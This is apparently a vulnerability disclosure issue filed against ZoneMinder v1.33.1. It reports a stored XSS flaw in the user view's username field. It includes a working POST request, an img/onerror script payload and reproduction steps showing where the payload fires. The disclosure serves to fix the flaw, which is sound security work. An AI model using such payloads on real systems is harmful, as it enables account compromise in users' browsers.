Self - Stored Cross Site Scripting (XSS) - user.php

[Loginsoft-Research]

Describe Your Environment

• ZoneMinder v1.33.1
• Installed from - ppa:iconnor/zoneminder-master

Describe the bug
The view user, does no input validation to the value supplied to username field & processes it further storing the value into the database without any prior filtration, leading to stored XSS.

To Reproduce
Affected URL :
http://localhost/zm/index.php

POST Data -

view=user&action=user&uid=4&newUser%5BMonitorIds%5D=&newUser%5BUsername%5D=%3Cimgsrc%3Dxonerror%3Dprompt%28%272%27%29%3B%3E&newUser%5BPassword%5D=&conf_password=&newUser%5BLanguage%5D=en_gb&newUser%5BEnabled%5D=1&newUser%5BSt
ream%5D=None&newUser%5BEvents%5D=None&newUser%5BControl%5D=None&newUser%5BMonitors%5D=None&newUser%5BGroups%5D=None&newUser%5BSystem%5D=
None&newUser%5BMaxBandwidth%5D=

Payload used - <img src=x onerror=prompt('1');>

• Navigate to the Affected URL, username will beset with the Payload.
• Navigate to the http://192.168.0.6/zm/index.php?view=user&uid=4&popup=1, Payload will be triggered

Expected behavior

• Proper escaping of special characters.

Debug Logs

None